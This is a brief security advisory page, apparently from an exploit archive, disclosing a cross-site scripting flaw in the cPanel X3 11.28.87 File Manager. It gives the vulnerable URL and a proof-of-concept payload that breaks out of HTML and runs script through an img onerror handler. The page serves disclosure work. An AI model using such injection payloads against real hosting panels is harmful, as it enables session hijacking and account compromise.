Cpanel X3 11.28.87 Cross Site Scripting

2011.04.29

Credit: none

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-79

 Hello dear admin.

 Cpanel X3 v.11.28.87, File Manager Modules, XSS Vulnerability

 Vulnerable Link:

 http://www.yourdomain.com:2082/frontend/x3/filemanager/index.html?dirselect=webroot&domainselect=yourdomain.com&dir=%2Fhome%2Fyourusername%2Fpublic_html

 Search Command:

 "/></a></><img src=eyup.jpg onerror=alert(1)>

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Cpanel X3 11.28.87 Cross Site Scripting

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.